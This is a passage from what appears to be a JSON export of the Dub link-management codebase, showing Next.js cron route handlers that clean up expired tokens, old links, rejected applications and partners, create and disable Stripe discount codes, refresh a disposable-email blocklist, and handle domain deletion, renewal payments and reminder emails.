prisma.user.findMany({\n        where: {\n          email: {\n            endsWith: \"@dub-internal-test.com\",\n          },\n          createdAt: {\n            lt: oneDayAgo,\n          },\n        },\n      }),\n    ]);\n\n    // Delete the links\n    if (links.length > 0) {\n      const linkIds = links.map((link) => link.id);\n\n      await prisma.discountCode.deleteMany({\n        where: {\n          linkId: {\n            in: linkIds,\n          },\n        },\n      });\n\n      await prisma.link.deleteMany({\n        where: {\n          id: {\n            in: linkIds,\n          },\n        },\n      });\n\n      // Post delete cleanup\n      await bulkDeleteLinks(links);\n    }\n\n    // Delete the domains\n    if (domains.length > 0) {\n      await Promise.all(\n        domains.map(({ slug }) =>\n          markDomainAsDeleted({\n            domain: slug,\n          }),\n        ),\n      );\n    }\n\n    // Delete the tags\n    if (tags.length > 0) {\n      await prisma.tag.deleteMany({\n        where: {\n          id: {\n            in: tags.map((tag) => tag.id),\n          },\n        },\n      });\n    }\n\n    // Delete the partners\n    if (partners.length > 0) {\n      await bulkDeletePartners({\n        partnerIds: partners.map((partner) => partner.id),\n        deletePartners: true,\n      });\n    }\n\n    if (users.length > 0) {\n      await prisma.user.deleteMany({\n        where: {\n          id: {\n            in: users.map((user) => user.id),\n          },\n        },\n      });\n    }\n\n    console.log(\"Removed the following items.\", {\n      links: links.length,\n      domains: domains.length,\n      tags: tags.length,\n      partners: partners.length,\n      users: users.length,\n    });\n\n    return NextResponse.json({ status: \"OK\" });\n  } catch (error) {\n    await log({\n      message: `/api/cron/cleanup/e2e-tests failed - ${error.message}`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/cleanup/expired-tokens/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\n// This route is used to remove expired tokens from the database\n// 1. VerificationToken\n// 2. EmailVerificationToken\n// 3. PasswordResetToken\n// Runs once every day at 02:00:00 AM UTC (0 2 * * *)\n// GET /api/cron/cleanup/expired-tokens\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    // tokens expired 1 day ago\n    const cutoff = new Date(Date.now() - 1000 * 60 * 60 * 24);\n\n    const [verificationTokens, emailVerificationTokens, passwordResetTokens] =\n      await Promise.all([\n        prisma.verificationToken.deleteMany({\n          where: {\n            expires: {\n              lt: cutoff,\n            },\n          },\n        }),\n\n        prisma.emailVerificationToken.deleteMany({\n          where: {\n            expires: {\n              lt: cutoff,\n            },\n          },\n        }),\n\n        prisma.passwordResetToken.deleteMany({\n          where: {\n            expires: {\n              lt: cutoff,\n            },\n          },\n        }),\n      ]);\n\n    console.log(\"Token cleanup deleted\", {\n      verificationTokens: verificationTokens.count,\n      emailVerificationTokens: emailVerificationTokens.count,\n      passwordResetTokens: passwordResetTokens.count,\n    });\n\n    return NextResponse.json({ status: \"OK\" });\n  } catch (error) {\n    await log({\n      message: `/api/cron/cleanup/expired-tokens failed - ${error.message}`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/cleanup/link-retention/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { Domain } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nexport const dynamic = \"force-dynamic\";\n\n// This route is used to delete old links for domains with linkRetentionDays set\n// Runs once every 12 hours (0 */12 * * *)\n// POST /api/cron/cleanup/link-retention\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { domain: passedDomain } = z\n      .object({\n        domain: z.string().optional(),\n      })\n      .parse(JSON.parse(rawBody));\n\n    if (!passedDomain) {\n      const domains = await prisma.domain.findMany({\n        where: {\n          linkRetentionDays: {\n            not: null,\n          },\n        },\n      });\n      await Promise.all(domains.map((domain) => deleteOldLinks(domain)));\n    } else {\n      const domain = await prisma.domain.findUniqueOrThrow({\n        where: {\n          slug: passedDomain,\n        },\n      });\n\n      await deleteOldLinks(domain);\n    }\n\n    return NextResponse.json(\"OK\");\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\nconst LINKS_PER_BATCH = 100;\nconst MAX_LINK_BATCHES = 10;\n\nasync function deleteOldLinks(\n  domain: Pick<Domain, \"id\" | \"slug\" | \"linkRetentionDays\" | \"projectId\">,\n) {\n  if (\n    !domain.linkRetentionDays ||\n    !domain.projectId ||\n    domain.linkRetentionDays <= 0\n  )\n    return;\n\n  let processedBatches = 0;\n  let hasMoreLinks = false;\n\n  while (processedBatches < MAX_LINK_BATCHES) {\n    const links = await prisma.link.findMany({\n      where: {\n        domain: domain.slug,\n        createdAt: {\n          lt: new Date(\n            Date.now() - 1000 * 60 * 60 * 24 * domain.linkRetentionDays,\n          ),\n        },\n        linkRetentionCleanupDisabledAt: null,\n      },\n      orderBy: {\n        createdAt: \"asc\",\n      },\n      take: LINKS_PER_BATCH,\n    });\n\n    console.log(\n      `[Link retention cleanup] Found ${links.length} links to delete for ${domain.slug} that are older than ${domain.linkRetentionDays} days`,\n    );\n\n    if (links.length === 0) break;\n\n    // Check if we might have more links (if we got a full batch)\n    hasMoreLinks = links.length === LINKS_PER_BATCH;\n\n    console.log(\n      `[Link retention cleanup] Deleting ${links.length} links for ${domain.slug} (batch ${processedBatches + 1})...`,\n    );\n\n    console.table(links, [\"shortLink\", \"createdAt\"]);\n\n    await prisma.$transaction(async (tx) => {\n      await tx.link.deleteMany({\n        where: {\n          id: {\n            in: links.map(({ id }) => id),\n          },\n        },\n      });\n      await tx.project.update({\n        where: {\n          id: domain.projectId!,\n        },\n        data: {\n          totalLinks: { decrement: links.length },\n        },\n      });\n    });\n\n    // // Record the links deletion in Tinybird\n    // // not 100% sure if we need this yet, maybe we should just delete the link completely from TB to save space?\n    await recordLink(links, { deleted: true });\n\n    console.log(\n      `[Link retention cleanup] Deleted ${links.length} links for ${domain.slug} that are older than ${domain.linkRetentionDays} days!`,\n    );\n\n    ++processedBatches;\n\n    // sleep for 250ms\n    await new Promise((resolve) => setTimeout(resolve, 250));\n  }\n\n  // Only schedule another run if we hit the batch limit AND we found a full batch\n  // (indicating there might be more links to process)\n  if (processedBatches >= MAX_LINK_BATCHES && hasMoreLinks) {\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/cleanup/link-retention`,\n      method: \"POST\",\n      body: {\n        domain: domain.slug,\n      },\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/cleanup/rejected-applications/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { subDays } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\n// This route is used to remove rejected programEnrollments from the database after 30 days so partners can re-apply\n// Runs once every day at 02:00:00 AM UTC (0 2 * * *)\n// POST /api/cron/cleanup/rejected-applications\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    while (true) {\n      // rejected programEnrollments more than 30 days ago\n      const rejectedProgramEnrollments =\n        await prisma.programEnrollment.findMany({\n          where: {\n            status: \"rejected\",\n            updatedAt: {\n              lt: subDays(new Date(), 30),\n            },\n            // only delete if there are no commissions or messages\n            commissions: {\n              none: {},\n            },\n            messages: {\n              none: {},\n            },\n          },\n          take: 250,\n        });\n\n      if (rejectedProgramEnrollments.length === 0) {\n        console.log(\n          \"No more rejected programEnrollments to delete, skipping...\",\n        );\n        break;\n      }\n\n      const deletedRes = await prisma.programEnrollment.deleteMany({\n        where: {\n          id: {\n            in: rejectedProgramEnrollments.map(({ id }) => id),\n          },\n        },\n      });\n\n      console.log(\n        `Deleted ${deletedRes.count} rejected programEnrollments that are older than 30 days`,\n      );\n    }\n\n    return NextResponse.json({ status: \"OK\" });\n  } catch (error) {\n    await log({\n      message: `/api/cron/cleanup/rejected-applications failed - ${error.message}`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/cleanup/unenrolled-partners/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { bulkDeletePartners } from \"@/lib/api/partners/bulk-delete-partners\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\n// This route is used to remove partners that are not enrolled in any program\n// Runs once every day at 02:00:00 AM UTC (0 2 * * *)\n// POST /api/cron/cleanup/unenrolled-partners\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    let deletedPartnersCount = 0;\n\n    while (true) {\n      const partnersToDelete = await prisma.partner.findMany({\n        where: {\n          stripeConnectId: null,\n          programs: {\n            none: {},\n          },\n          users: {\n            none: {},\n          },\n        },\n        take: 250,\n      });\n\n      if (partnersToDelete.length === 0) {\n        console.log(\"No more partners to delete, skipping...\");\n        break;\n      }\n\n      console.log(`Found ${partnersToDelete.length} partners to delete.`);\n\n      if (partnersToDelete.length > 0) {\n        await bulkDeletePartners({\n          partnerIds: partnersToDelete.map((partner) => partner.id),\n          deletePartners: true,\n        });\n        deletedPartnersCount += partnersToDelete.length;\n      }\n    }\n\n    return logAndRespond(\n      `Deleted ${deletedPartnersCount} partners that were not enrolled in any programs.`,\n    );\n  } catch (error) {\n    await log({\n      message: `/api/cron/cleanup/unenrolled-partners failed - ${error.message}`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/discount-codes/create/queue-batches/route.ts",
    "content": "import { CRON_BATCH_SIZE, qstash } from \"@/lib/cron\";\nimport { enqueueBatchJobs } from \"@/lib/cron/enqueue-batch-jobs\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { ACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst inputSchema = z.object({\n  discountId: z.string(),\n  startingAfter: z.string().optional(),\n});\n\n// POST /api/cron/discount-codes/create/queue-batches\nexport const POST = withCron(async ({ rawBody }) => {\n  const { discountId, startingAfter } = inputSchema.parse(JSON.parse(rawBody));\n\n  const discount = await prisma.discount.findUnique({\n    where: {\n      id: discountId,\n    },\n    include: {\n      program: {\n        select: {\n          id: true,\n          workspace: {\n            select: {\n              id: true,\n              stripeConnectId: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  if (!discount) {\n    return logAndRespond(`Discount ${discountId} not found. Skipping...`);\n  }\n\n  if (!discount.autoProvisionEnabledAt) {\n    return logAndRespond(\n      `Discount ${discountId} does not have auto-provision enabled. Skipping...`,\n    );\n  }\n\n  const { program } = discount;\n  const { workspace } = program;\n\n  if (!workspace.stripeConnectId) {\n    return logAndRespond(\n      `Workspace ${workspace.id} does not have stripeConnectId set. Skipping...`,\n    );\n  }\n\n  const programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      programId: program.id,\n      discountId: discount.id,\n      status: {\n        in: ACTIVE_ENROLLMENT_STATUSES,\n      },\n    },\n    select: {\n      id: true,\n      partnerId: true,\n      discountId: true,\n      links: {\n        select: {\n          id: true,\n        },\n        where: {\n          discountCode: null,\n          partnerGroupDefaultLinkId: {\n            not: null,\n          },\n        },\n      },\n    },\n    ...(startingAfter && {\n      skip: 1,\n      cursor: {\n        id: startingAfter,\n      },\n    }),\n    orderBy: {\n      id: \"asc\",\n    },\n    take: CRON_BATCH_SIZE,\n  });\n\n  if (programEnrollments.length === 0) {\n    return logAndRespond(\n      `No more program enrollments found for discount ${discountId}.`,\n    );\n  }\n\n  const links = programEnrollments.flatMap(({ links }) => links);\n\n  if (links.length > 0) {\n    await enqueueBatchJobs(\n      links.map((link) => ({\n        queueName: \"create-discount-code\",\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/discount-codes/create`,\n        deduplicationId: `${discountId}-${link.id}`,\n        body: {\n          linkId: link.id,\n        },\n      })),\n    );\n  }\n\n  if (programEnrollments.length === CRON_BATCH_SIZE) {\n    const startingAfter = programEnrollments[programEnrollments.length - 1].id;\n\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/discount-codes/create/queue-batches`,\n      method: \"POST\",\n      body: {\n        discountId,\n        startingAfter,\n      },\n    });\n\n    return logAndRespond(\n      `Queued next batch for discount ${discountId} (startingAfter: ${startingAfter}).`,\n    );\n  }\n\n  return logAndRespond(`Finished queuing jobs for discount ${discountId}.`);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/discount-codes/create/route.ts",
    "content": "import { createDiscountCode } from \"@/lib/api/discounts/create-discount-code\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst inputSchema = z.object({\n  linkId: z\n    .string()\n    .describe(\"The ID of the link to create a discount code for.\"),\n});\n\n// POST /api/cron/discount-codes/create\nexport const POST = withCron(async ({ rawBody }) => {\n  const { linkId } = inputSchema.parse(JSON.parse(rawBody));\n\n  const link = await prisma.link.findUnique({\n    where: {\n      id: linkId,\n    },\n    select: {\n      id: true,\n      discountCode: true,\n      partnerGroupDefaultLinkId: true,\n      programEnrollment: {\n        select: {\n          discount: true,\n          partner: {\n            select: {\n              id: true,\n              name: true,\n            },\n          },\n          program: {\n            select: {\n              id: true,\n            },\n          },\n        },\n      },\n      project: {\n        select: {\n          id: true,\n          stripeConnectId: true,\n        },\n      },\n    },\n  });\n\n  if (!link || !link.project) {\n    return logAndRespond(`Link ${linkId} not found. Skipping...`);\n  }\n\n  if (link.discountCode) {\n    return logAndRespond(\n      `Link ${linkId} already has a discount code. Skipping...`,\n    );\n  }\n\n  if (link.partnerGroupDefaultLinkId === null) {\n    return logAndRespond(`Link ${linkId} is not a default link. Skipping...`);\n  }\n\n  if (!link.programEnrollment) {\n    return logAndRespond(\n      `Link ${linkId} is not associated with a program enrollment. Skipping...`,\n    );\n  }\n\n  const { project: workspace, programEnrollment } = link;\n  const { partner, discount, program } = programEnrollment;\n\n  if (!workspace.stripeConnectId) {\n    return logAndRespond(\n      `Workspace ${workspace.id} does not have stripeConnectId set. Skipping...`,\n    );\n  }\n\n  if (!discount) {\n    return logAndRespond(\n      `Partner ${partner.id} does not have a discount with program ${program.id}. Skipping...`,\n    );\n  }\n\n  await createDiscountCode({\n    stripeConnectId: workspace.stripeConnectId,\n    partner,\n    link,\n    discount,\n  });\n\n  return logAndRespond(`Discount code created for link ${linkId}.`);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/discount-codes/delete/route.ts",
    "content": "import { withCron } from \"@/lib/cron/with-cron\";\nimport { disableStripeDiscountCode } from \"@/lib/stripe/disable-stripe-discount-code\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst inputSchema = z.object({\n  code: z.string(),\n  programId: z.string(),\n});\n\n// POST /api/cron/discount-codes/delete\nexport const POST = withCron(async ({ rawBody }) => {\n  const { code, programId } = inputSchema.parse(JSON.parse(rawBody));\n\n  const workspace = await prisma.project.findUniqueOrThrow({\n    where: {\n      defaultProgramId: programId,\n    },\n    select: {\n      stripeConnectId: true,\n    },\n  });\n\n  const disabledDiscountCode = await disableStripeDiscountCode({\n    code,\n    stripeConnectId: workspace.stripeConnectId,\n  });\n\n  if (!disabledDiscountCode) {\n    return logAndRespond(\n      `Failed to disable discount code ${code} in Stripe for ${workspace.stripeConnectId}.`,\n    );\n  }\n\n  return logAndRespond(\n    `Discount code ${code} disabled from Stripe for ${workspace.stripeConnectId}.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/disposable-emails/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { redis } from \"@/lib/upstash\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\n// Cron to update the disposable email domains list in Redis\n// Runs every Monday at noon UTC (0 12 * * 1)\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const disposableEmails = await fetch(\n      \"https://raw.githubusercontent.com/disposable-email-domains/disposable-email-domains/master/disposable_email_blocklist.conf\",\n    );\n\n    const domains = (await disposableEmails.text()).split(\"\\n\").filter(Boolean);\n\n    if (domains.length < 100) {\n      throw new Error(\"Disposable email domains list is too short\");\n    }\n\n    // Use a temporary set to avoid emptying the old set\n    await redis.del(\"disposableEmailDomainsTmp\");\n    await redis.sadd(\"disposableEmailDomainsTmp\", ...(domains as [string]));\n    await redis.rename(\"disposableEmailDomainsTmp\", \"disposableEmailDomains\");\n\n    return NextResponse.json({ status: \"OK\" });\n  } catch (error) {\n    await log({\n      message: `Error updating disposable email domains list: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/domains/delete/route.ts",
    "content": "import { queueDomainDeletion } from \"@/lib/api/domains/queue-domain-update\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { limiter } from \"@/lib/cron/limiter\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { storage } from \"@/lib/storage\";\nimport { recordLink } from \"@/lib/tinybird/record-link\";\nimport { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  domain: z.string(),\n});\n\n// POST /api/cron/domains/delete\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { domain } = schema.parse(JSON.parse(rawBody));\n\n    const domainRecord = await prisma.domain.findUnique({\n      where: {\n        slug: domain,\n      },\n    });\n\n    if (!domainRecord) {\n      return new Response(`Domain ${domain} not found. Skipping...`);\n    }\n\n    const links = await prisma.link.findMany({\n      where: {\n        domain,\n      },\n      include: {\n        ...includeTags,\n        ...includeProgramEnrollment,\n      },\n      take: 100,\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    });\n\n    console.log(`Found ${links.length} links to delete`);\n\n    if (links.length === 0) {\n      return new Response(\"No more links to delete. Exiting...\");\n    }\n\n    const response = await Promise.allSettled([\n      // Remove the link from Redis\n      linkCache.deleteMany(links),\n\n      // Record link in Tinybird\n      recordLink(links, { deleted: true }),\n\n      // Remove image from R2 storage if it exists\n      links\n        .filter((link) => link.image?.startsWith(`${R2_URL}/images/${link.id}`))\n        .map((link) =>\n          limiter.schedule(() =>\n            storage.delete({ key: link.image!.replace(`${R2_URL}/`, \"\") }),\n          ),\n        ),\n\n      // Remove the link from MySQL\n      prisma.link.deleteMany({\n        where: {\n          id: { in: links.map((link) => link.id) },\n        },\n      }),\n\n      // Update the project's total links count\n      links[0].projectId &&\n        prisma.project.update({\n          where: {\n            id: links[0].projectId,\n          },\n          data: {\n            totalLinks: { decrement: links.length },\n          },\n        }),\n    ]);\n\n    console.log(response);\n\n    response.forEach((promise) => {\n      if (promise.status === \"rejected\") {\n        console.error(\"deleteDomainAndLinks\", {\n          reason: promise.reason,\n          domain,\n        });\n      }\n    });\n\n    const remainingLinks = await prisma.link.count({\n      where: {\n        domain,\n      },\n    });\n\n    console.log(\"remainingLinks\", remainingLinks);\n\n    if (remainingLinks > 0) {\n      await queueDomainDeletion({\n        domain,\n        delay: 2,\n      });\n      return new Response(\n        `Deleted ${links.length} links, ${remainingLinks} remaining. Starting next batch...`,\n      );\n    }\n\n    // After all links are deleted, delete the domain and image\n    await Promise.all([\n      prisma.domain.delete({\n        where: {\n          slug: domain,\n        },\n      }),\n      domainRecord.logo &&\n        storage.delete({ key: domainRecord.logo.replace(`${R2_URL}/`, \"\") }),\n    ]);\n\n    return new Response(\n      `Deleted ${links.length} links, no more links remaining. Domain deleted.`,\n    );\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/domains/renewal-payments/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { createPaymentIntent } from \"@/lib/stripe/create-payment-intent\";\nimport { prisma } from \"@dub/prisma\";\nimport { Invoice, Project, RegisteredDomain } from \"@dub/prisma/client\";\nimport { log } from \"@dub/utils\";\nimport { addDays, endOfDay, startOfDay } from \"date-fns\";\nimport { NextResponse } from \"next/server\";\n\n/**\n * Daily cron job to create payment intents for `.link` domain renewals.\n *\n * Payment intents are created 14 days before domain expiration to ensure\n * timely processing and avoid domain expiration.\n */\n\nexport const dynamic = \"force-dynamic\";\n\ninterface GroupedWorkspace {\n  workspace: Pick<Project, \"id\" | \"stripeId\" | \"invoicePrefix\">;\n  domains: Pick<RegisteredDomain, \"id\" | \"slug\" | \"expiresAt\" | \"renewalFee\">[];\n}\n\n// GET /api/cron/domains/renewal-payments\nexport async function GET(req: Request) {\n  try {\n    await verifyVercelSignature(req);\n\n    const targetDate = addDays(new Date(), 14);\n\n    console.log(\"targetDate\", targetDate);\n\n    // Find all domains expiring in 14 days\n    const domains = await prisma.registeredDomain.findMany({\n      where: {\n        autoRenewalDisabledAt: null,\n        expiresAt: {\n          gte: startOfDay(targetDate),\n          lte: endOfDay(targetDate),\n        },\n      },\n      include: {\n        project: {\n          select: {\n            id: true,\n            stripeId: true,\n            invoicePrefix: true,\n          },\n        },\n      },\n    });\n\n    if (domains.length === 0) {\n      console.log(\n        \"No domains found expiring exactly 14 days from today. Skipping...\",\n      );\n      return NextResponse.json(\n        \"No domains found expiring exactly 14 days from today.\",\n      );\n    }\n\n    console.table(domains, [\"slug\", \"expiresAt\", \"renewalFee\"]);\n\n    // Group domains by workspaceId\n    const groupedByWorkspace = domains.reduce(\n      (acc, domain) => {\n        const workspaceId = domain.projectId;\n\n        if (!acc[workspaceId]) {\n          acc[workspaceId] = {\n            workspace: domain.project,\n            domains: [],\n          };\n        }\n\n        acc[workspaceId].domains.push({\n          id: domain.id,\n          slug: domain.slug,\n          expiresAt: domain.expiresAt,\n          renewalFee: domain.renewalFee,\n        });\n\n        return acc;\n      },\n      {} as Record<string, GroupedWorkspace>,\n    );\n\n    const invoices: Invoice[] = [];\n\n    // Create invoice for each workspace + domains group\n    for (const workspaceId in groupedByWorkspace) {\n      const { workspace, domains } = groupedByWorkspace[workspaceId];\n\n      const invoice = await prisma.$transaction(async (tx) => {\n        // Generate the next invoice number by counting the number of invoices for the workspace\n        const totalInvoices = await tx.invoice.count({\n          where: {\n            workspaceId: workspace.id,\n          },\n        });\n        const paddedNumber = String(totalInvoices + 1).padStart(4, \"0\");\n        const invoiceNumber = `${workspace.invoicePrefix}-${paddedNumber}`;\n\n        const totalAmount = domains.reduce(\n          (acc, domain) => acc + domain.renewalFee,\n          0,\n        );\n\n        return await tx.invoice.create({\n          data: {\n            id: createId({ prefix: \"inv_\" }),\n            workspaceId: workspace.id,\n            number: invoiceNumber,\n            type: \"domainRenewal\",\n            amount: totalAmount,\n            total: totalAmount,\n            registeredDomains: domains.map(({ slug }) => slug), // array of domain slugs,\n          },\n        });\n      });\n\n      console.log(\n        `Invoice ${invoice.id} with total ${invoice.total} created for workspace ${workspace.id} to renew ${domains.length} domains.`,\n      );\n\n      invoices.push(invoice);\n    }\n\n    // Create payment intent for each invoice\n    for (const invoice of invoices) {\n      const { workspace } = groupedByWorkspace[invoice.workspaceId];\n\n      if (!workspace.stripeId) {\n        console.log(`Workspace ${workspace.id} has no stripeId, skipping...`);\n        continue;\n      }\n\n      const res = await createPaymentIntent({\n        stripeId: workspace.stripeId!,\n        amount: invoice.total,\n        invoiceId: invoice.id,\n        statementDescriptor: \"Dub\",\n        description: `Domain renewal invoice (${invoice.id})`,\n        idempotencyKey: `${invoice.id}-${invoice.failedAttempts}`,\n      });\n\n      console.log(`Payment intent created for invoice ${invoice.id}`, res);\n    }\n\n    return NextResponse.json(\"OK\");\n  } catch (error) {\n    await log({\n      message: \"Domains renewal cron failed. Error: \" + error.message,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/domains/renewal-reminders/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport DomainRenewalReminder from \"@dub/email/templates/domain-renewal-reminder\";\nimport { prisma } from \"@dub/prisma\";\nimport { chunk, log } from \"@dub/utils\";\nimport {\n  differenceInCalendarDays,\n  endOfDay,\n  formatDistanceStrict,\n  startOfDay,\n  subDays,\n} from \"date-fns\";\nimport { NextResponse } from \"next/server\";\n\n/**\n * Daily cron job to send `.link` domain renewal reminders.\n *\n * Reminders are sent at the following intervals before the domain expiration date:\n *  - First reminder: 30 days prior\n *  - Second reminder: 23 days prior\n *  - Third reminder: 16 days prior\n */\n\nexport const dynamic = \"force-dynamic\";\n\nconst REMINDER_WINDOWS = [30, 23, 16];\n\n// GET /api/cron/domains/renewal-reminders\nexport async function GET(req: Request) {\n  try {\n    await verifyVercelSignature(req);\n\n    const now = new Date();\n\n    const targetDates = REMINDER_WINDOWS.map((days) => {\n      const date = subDays(now, -days);\n\n      return {\n        start: startOfDay(date),\n        end: endOfDay(date),\n        days,\n      };\n    });\n\n    console.log(\"targetDates\", targetDates);\n\n    // Find all domains that are eligible for renewal reminders\n    const domains = await prisma.registeredDomain.findMany({\n      where: {\n        autoRenewalDisabledAt: null,\n        OR: targetDates.map((t) => ({\n          expiresAt: {\n            gte: t.start,\n            lte: t.end,\n          },\n        })),\n      },\n      include: {\n        project: {\n          include: {\n            users: {\n              where: {\n                role: \"owner\",\n              },\n              include: {\n                user: true,\n              },\n            },\n          },\n        },\n      },\n    });\n\n    if (domains.length === 0) {\n      console.log(\"No domains found to send reminders for. Skipping...\");\n      return NextResponse.json(\"No domains found to send reminders for.\");\n    }\n\n    const reminderDomains = domains.flatMap(\n      ({ slug, expiresAt, renewalFee, project }) => {\n        const reminderWindow = differenceInCalendarDays(expiresAt, now);\n\n        // we charge 14 days before the expiration date to ensure timely processing\n        const chargeAt: Date = subDays(expiresAt, 14);\n\n        return project.users.map(({ user }) => ({\n          domain: {\n            slug,\n            renewalFee,\n            expiresAt,\n            reminderWindow,\n            chargeAt,\n            chargeAtInText: formatDistanceStrict(chargeAt, now),\n          },\n          workspace: {\n            slug: project.slug,\n          },\n          user: {\n            email: user.email,\n          },\n        }));\n      },\n    );\n\n    console.table(reminderDomains);\n\n    const reminderDomainsChunks = chunk(reminderDomains, 100);\n\n    for (const reminderDomainsChunk of reminderDomainsChunks) {\n      const res = await sendBatchEmail(\n        reminderDomainsChunk.map(({ workspace, user, domain }) => ({\n          to: user.email!,\n          subject: \"Your domain is expiring soon\",\n          variant: \"notifications\",\n          react: DomainRenewalReminder({\n            email: user.email!,\n            workspace,\n            domain,\n          }),\n        })),\n      );\n      console.log(`Sent ${reminderDomainsChunk.length} emails`, res);\n    }\n\n    return NextResponse.json(reminderDomains);\n  } catch (error) {\n    await log({\n      message: \"Domains renewal reminders cron failed. Error: \" + error.message,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/domains/transfer/route.ts",
